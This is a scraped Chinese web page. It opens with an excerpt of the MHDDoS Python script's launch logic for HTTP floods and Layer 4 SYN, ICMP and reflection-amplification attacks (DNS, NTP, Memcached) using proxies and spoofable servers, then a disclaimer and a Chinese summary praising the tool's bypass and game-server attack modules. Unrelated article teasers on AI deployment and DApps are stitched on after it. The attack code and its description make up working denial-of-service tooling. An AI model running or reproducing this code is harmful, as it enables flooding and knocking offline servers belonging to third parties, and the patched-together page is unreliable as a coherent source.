                                  for a in useragent_li.open("r+").readlines())
                    referers = set(a.strip()
                                   for a in referers_li.open("r+").readlines())                if not uagents: exit("Empty Useragent File ")
                    if not referers: exit("Empty Referer File ")                if threads > 1000:
                        logger.warning("Thread is higher than 1000")
                    if rpc > 100:
                        logger.warning(
                            "RPC (Request Pre Connection) is higher than 100")                proxies = handleProxyList(con, proxy_li, proxy_ty, url)
                    for thread_id in range(threads):
                        HttpFlood(thread_id, url, host, method, rpc, event,
                                  uagents, referers, proxies).start()            if method in Methods.LAYER4_METHODS:
                    target = URL(urlraw)                port = target.port
                    target = target.host                try:
                        target = gethostbyname(target)
                    except Exception as e:
                        exit('Cannot resolve hostname ', url.host, e)                if port > 65535 or port < 1:
                        exit("Invalid Port [Min: 1 / Max: 65535] ")                if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
                            not ToolsConsole.checkRawSocket():
                        exit("Cannot Create Raw Socket")                if method in Methods.LAYER4_AMP:
                        logger.warning("this method need spoofable servers please check")
                        logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")                threads = int(argv[3])
                    timer = int(argv[4])
                    proxies = None
                    ref = None                if not port:
                        logger.warning("Port Not Selected, Set To Default: 80")
                        port = 80                if method in {"SYN", "ICMP"}:
                        __ip__ = __ip__                if len(argv) >= 6:
                        argfive = argv[5].strip()
                        if argfive:
                            refl_li = Path(__dir__ / "files" / argfive)
                            if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
                                if not refl_li.exists():
                                    exit("The reflector file doesn't exist")
                                if len(argv) == 7:
                                    logger.setLevel("DEBUG")
                                ref = set(a.strip()
                                          for a in Tools.IP.findall(refl_li.open("r").read()))
                                if not ref: exit("Empty Reflector File ")                        elif argfive.isdigit() and len(argv) >= 7:
                                if len(argv) == 8:
                                    logger.setLevel("DEBUG")
                                proxy_ty = int(argfive)
                                proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
                                proxies = handleProxyList(con, proxy_li, proxy_ty)
                                if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
                                    exit("this method cannot use for layer4 proxy")                        else:
                                logger.setLevel("DEBUG")
                    
                    protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
                    
                    if method == "MCBOT":
                        with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
                            Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
                            Tools.send(s, Minecraft.data(b'\x00'))                        protocolid = Tools.protocolRex.search(str(s.recv(1024)))
                            protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
                            
                            if 47 < protocolid > 758:
                                protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]                for _ in range(threads):
                        Layer4((target, port), ref, method, event,
                               proxies, protocolid).start()            logger.info(
                    f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
                    % (target or url.host, method, timer, threads))
                event.set()
                ts = time()
                while time() < ts + timer:
                    logger.debug(
                        f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
                        (target or url.host,
                         port or (url.port or 80),
                         method,
                         Tools.humanformat(int(REQUESTS_SENT)),
                         Tools.humanbytes(int(BYTES_SEND)),
                         round((time() - ts) / timer * 100, 2)))
                    REQUESTS_SENT.set(0)
                    BYTES_SEND.set(0)
                    sleep(1)            event.clear()
                exit()        ToolsConsole.usage()
  • 在您访问和使用本频道的任何信息、链接、教程和资源之前,请务必仔细阅读以下免责声明:本频道不对您的行为负任何法律或道德上的责任,您应当自行承担所引发的一切后果。通过访问本频道并使用其内容,即表示您已经阅读、理解并同意遵守本免责声明的所有内容。谢谢您的理解与配合!

该 Python 脚本是一个名为 MHDDoS 的多功能拒绝服务(DoS/DDoS)压力测试工具。

它具有以下核心功能:

  • 多层级攻击:支持应用层(L7)如 HTTP GET/POST、绕过验证(CFB/BYPASS)及网络/传输层(L4)如 UDP、SYN、ICMP 等数十种攻击方法。
  • 反射放大:集成 DNS、NTP、Memcached 等协议的反射放大攻击(Layer 4 AMP)。
  • 特定目标优化:内置针对 Minecraft 服务器(MCBOT)、FiveM 等游戏平台的专用攻击模块。
  • 防御绕过:通过随机 User-Agent、伪造搜索引擎爬虫身份以及集成的代理(Proxy)支持来模拟真实流量,绕过基础防护。

Read more

使用Docker安装Ollama及Open-WebUI完整教程

作者:吴业亮 博客:wuyeliang.blog.ZEEKLOG.net 一、Ollama 简介及工作原理 1. Ollama 简介及原理 * 简介:Ollama 是一款轻量级、开源的大语言模型(LLM)运行工具,旨在简化本地部署和运行大语言模型的流程。它支持 Llama 3、Mistral、Gemini 等主流开源模型,用户无需复杂配置即可在本地设备(CPU 或 GPU)上快速启动模型,适用于开发测试、本地智能应用搭建等场景。 * 工作原理: * 采用模型封装机制,将大语言模型的运行环境、依赖库及推理逻辑打包为标准化格式,实现模型的一键下载、启动和版本管理。 * 通过优化的推理引擎适配硬件架构,支持 CPU 基础运行和 GPU 加速(如 NVIDIA CUDA),减少资源占用并提升响应速度。 * 提供简洁的

By Ne0inhk
cann-recipes-train 仓库深度解读:昇腾平台下 DeepSeek-R1 与 Qwen2.5 强化学习训练优化实践

cann-recipes-train 仓库深度解读:昇腾平台下 DeepSeek-R1 与 Qwen2.5 强化学习训练优化实践

cann-recipes-train 仓库深度解读:昇腾平台下 DeepSeek-R1 与 Qwen2.5 强化学习训练优化实践 前言 自 DeepSeek-R1 发布以来,大模型的强化学习(RL)训练掀起了新一轮的技术热潮。各大厂商与开源社区纷纷投入实践,持续探索更高效的 RL 训练体系。本文将基于 cann-recipes-train 仓库,解读两个实践样例:DeepSeek-R1 的 RL 训练优化实践样例、基于 verl 框架的 Qwen2.5 强化学习实践样例 cann-recipes-train 仓库全景解析:昇腾训练优化的"实战底座" 大模型训练拼效率的阶段,CANN 直接帮我们搞定了底层异构硬件适配、资源调度这些麻烦事,不用再从零研究 GPU 和 NPU 怎么协同,现有模型代码也不用大改就能对接,训

By Ne0inhk
DApp 开发怎么做?从合约到前端交互的完整落地流程(附常见坑与避坑清单)

DApp 开发怎么做?从合约到前端交互的完整落地流程(附常见坑与避坑清单)

很多人聊区块链项目时,讨论最多的是叙事、代币、社区,但真正决定项目能不能上线、能不能稳定跑起来的,还是开发落地。 如果你正在准备做一个 DApp(去中心化应用),或者已经写了合约却卡在前端交互、上线部署、钱包签名这一步,这篇文章我用“工程化流程”的方式把 DApp 开发拆开讲清楚:从合约设计 → 前端交互 → 上线部署 → 运维监控,每一步该做什么、容易踩哪些坑、怎么避。 一、DApp 开发到底包含哪些模块? 一个能上线、能稳定运行的 DApp,至少包含这几块: * 合约层(Solidity / Vyper):资产规则、权限逻辑、状态机、事件日志 * 前端交互层(React/Vue + Ethers/Web3):连接钱包、签名、发起交易、状态回读 * 索引与数据层(The

By Ne0inhk

AI智能证件照工坊WebUI使用教程:按钮功能与操作逻辑详解

AI智能证件照工坊WebUI使用教程:按钮功能与操作逻辑详解 1. 这不是PS,也不是照相馆——你真正需要的证件照解决方案 你有没有过这样的经历:临时要交简历,发现手机里只有一张糊糊的自拍;赶着办护照,却卡在“必须提供白底一寸照”这一步;或者帮家里老人准备材料,跑一趟照相馆要排队、等冲洗、再跑第二趟改尺寸……这些琐碎又高频的小事,其实早就不该花时间折腾。 AI智能证件照工坊就是为解决这些问题而生的。它不依赖云端上传、不把你的脸传给任何服务器,也不需要你打开Photoshop调图层、抠边缘、换背景、量尺寸——所有步骤都在你自己的电脑上安静完成。你上传一张生活照,点几下鼠标,30秒内就能拿到一张符合国家标准、边缘自然、尺寸精准的证件照。 这不是概念演示,而是已经打磨好的落地工具:它用的是工业级抠图引擎Rembg(基于U2NET),不是玩具模型;它支持红/蓝/白三色标准底,不是随便调个RGB值;它生成的1寸(295×413像素)和2寸(413×626像素)照片,直接能打印、能上传、

By Ne0inhk